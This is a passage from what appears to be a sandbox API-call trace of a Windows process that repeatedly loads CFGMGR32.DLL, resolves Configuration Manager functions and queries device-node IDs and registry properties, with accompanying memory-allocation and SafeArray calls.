(hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0219.311] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0219.311] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0219.311] malloc (_Size=0x18) returned 0x196ef0d1ee0 [0219.311] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x11, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0219.311] malloc (_Size=0x48) returned 0x196ef0fba90 [0219.311] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x63922cfe, dwHighDateTime=0x1d9eb0c)) [0219.312] SetEvent (hEvent=0x248) returned 1 [0219.365] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0219.365] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0219.365] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0219.365] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0219.365] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0219.366] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0219.366] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0219.366] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0219.366] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0219.366] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0219.366] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0219.366] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0219.367] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0219.367] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0219.367] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0219.367] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0219.367] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0219.368] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0219.368] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0219.368] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0219.368] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0219.368] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0219.368] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0219.369] malloc (_Size=0x18) returned 0x196ef0d19a0 [0219.369] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x11, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0219.369] malloc (_Size=0x48) returned 0x196ef0fb3b0 [0219.369] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x639bb747, dwHighDateTime=0x1d9eb0c)) [0219.369] SetEvent (hEvent=0x248) returned 1 [0219.375] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0219.375] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0219.376] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0219.376] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0219.376] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0219.376] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0219.376] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0219.376] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0219.392] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0219.392] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0219.393] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0219.393] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0219.393] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0219.393] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0219.393] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0219.393] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0219.393] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0219.393] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0219.394] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0219.394] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0219.394] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0219.394] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0219.394] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0219.394] malloc (_Size=0x18) returned 0x196ef0d1a80 [0219.395] CM_Get_Device_IDA (in: dnDevInst=0x12, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="SWD\\IP_TUNNEL_VBUS\\IP_TUNNEL_DEVICE_ROOT") returned 0x0 [0219.395] malloc (_Size=0x48) returned 0x196ef0fb680 [0219.395] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x63a08105, dwHighDateTime=0x1d9eb0c)) [0219.395] SetEvent (hEvent=0x248) returned 1 [0219.398] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0219.398] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0219.398] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0219.398] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0219.399] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0219.399] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0219.399] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0219.399] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0219.399] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0219.399] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0219.400] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0219.400] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0219.400] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0219.400] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0219.400] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0219.400] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0219.400] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0219.401] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0219.401] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0219.401] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0219.401] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0219.401] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0219.401] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0219.402] malloc (_Size=0x18) returned 0x196ef0d2080 [0219.402] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x12, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0219.402] malloc (_Size=0x10) returned 0x196ef0d1de0 [0219.402] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x12, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d1de0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d1de0, pulLength=0x67117d608) returned 0x0 [0219.402] free (_Block=0x196ef0d1de0) [0219.403] malloc (_Size=0x48) returned 0x196ef0fba90 [0219.403] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x63a08105, dwHighDateTime=0x1d9eb0c)) [0219.403] SetEvent (hEvent=0x248) returned 1 [0219.406] malloc (_Size=0x18) returned 0x196ef0d1960 [0219.406] SafeArrayPutElement (psa=0x196ef1f2870, rgIndices=0x67117d6d8, pv=0x196ee7c7678) returned 0x0 [0219.406] free (_Block=0x196ef0d1960) [0219.406] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee854f60 [0219.406] SafeArrayGetDim (psa=0x196ef1f2870) returned 0x1 [0219.406] SafeArrayGetLBound (in: psa=0x196ef1f2870, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0219.406] SafeArrayGetUBound (in: psa=0x196ef1f2870, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0219.406] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa650 [0219.406] SafeArrayGetDim (psa=0x196ef1f2870) returned 0x1 [0219.406] SafeArrayGetUBound (in: psa=0x196ef1f2870, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0219.406] SafeArrayGetElemsize (psa=0x196ef1f2870) returned 0x8 [0219.406] SafeArrayGetElement (in: psa=0x196ef1f2870, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0219.407] memcpy (in: _Dst=0x67117d268, _Src=0x196ef225e20, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0219.407] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa650) returned 1 [0219.408] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee854f60) returned 1 [0219.408] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0219.408] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0219.409] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0219.409] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0219.409] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0219.409] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0219.409] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0219.409] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0219.409] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0219.410] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0219.410] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0219.410] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0219.410] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0219.410] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0219.410] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0219.410] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0219.411] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0219.411] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0219.411] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0219.411] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0219.411] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0219.411] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0219.411] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0219.412] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0219.412] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x12, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0219.412] malloc (_Size=0x38) returned 0x196ef0d12d0 [0219.412] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x12, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0d12d0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d12d0, pulLength=0x67117d608) returned 0x0 [0219.412] free (_Block=0x196ef0d12d0) [0219.412] malloc (_Size=0x48) returned 0x196ef0fb720 [0219.413] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x63a2e25d, dwHighDateTime=0x1d9eb0c)) [0219.413] SetEvent (hEvent=0x248) returned 1 [0219.415] malloc (_Size=0x18) returned 0x196ef0d1be0 [0219.415] SafeArrayPutElement (psa=0x196ef1f2e30, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0219.415] free (_Block=0x196ef0d1be0) [0219.415] malloc (_Size=0x18) returned 0x196ef0d1c20 [0219.415] SafeArrayPutElement (psa=0x196ef1f2e30, rgIndices=0x67117d6d8, pv=0x196ee7c7678) returned 0x0 [0219.415] free (_Block=0x196ef0d1c20) [0219.415] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee856de0 [0219.415] SafeArrayGetDim (psa=0x196ef1f2e30) returned 0x1 [0219.415] SafeArrayGetLBound (in: psa=0x196ef1f2e30, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0219.416] SafeArrayGetUBound (in: psa=0x196ef1f2e30, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0219.416] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa920 [0219.416] SafeArrayGetDim (psa=0x196ef1f2e30) returned 0x1 [0219.416] SafeArrayGetUBound (in: psa=0x196ef1f2e30, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0219.416] SafeArrayGetElemsize (psa=0x196ef1f2e30) returned 0x8 [0219.416] SafeArrayGetElement (in: psa=0x196ef1f2e30, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0219.416] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e470, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0219.417] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e478, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0219.417] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa920) returned 1 [0219.417] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee856de0) returned 1 [0219.418] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0219.418] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0219.418] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0219.418] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0219.418] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0219.418] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0219.419] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0219.419] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0219.419] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0219.419] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0219.419] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0219.419] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0219.419] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0219.419] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0219.420] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0219.420] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0219.420] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0219.420] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0219.420] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0219.420] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0219.420] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0219.420] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0219.421] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0219.421] malloc (_Size=0x18) returned 0x196ef0d19a0 [0219.421] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x12, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0219.483] malloc (_Size=0x48) returned 0x196ef0fba40 [0219.483] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x63ac671e, dwHighDateTime=0x1d9eb0c)) [0219.484] SetEvent (hEvent=0x248) returned 1 [0219.487] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0219.487] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0219.487] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0219.487] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0219.488] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0219.488] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0219.488] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0219.488] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0219.488] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0219.489] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0219.489] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0219.489] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0219.489] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0219.489] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0219.490] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0219.490] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0219.490] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0219.490] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0219.490] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0219.490] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0219.490] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0219.491] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0219.491] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0219.491] malloc (_Size=0x18) returned 0x196ef0d1e20 [0219.491] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x12, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0219.491] malloc (_Size=0x48) returned 0x196ef0fb9a0 [0219.491] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x63aecbd1, dwHighDateTime=0x1d9eb0c)) [0219.492] SetEvent (hEvent=0x248) returned 1 [0219.495] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0219.495] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0219.495] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0219.495] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0219.496] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0219.496] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0219.496] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0219.496] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0219.496] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0219.496] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0219.496] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0219.497] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0219.497] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0219.497] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0219.497] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0219.497] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0219.497] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0219.497] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0219.497] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0219.498] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0219.498] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0219.498] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0219.498] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0219.498] malloc (_Size=0x18) returned 0x196ef0d1d00 [0219.498] 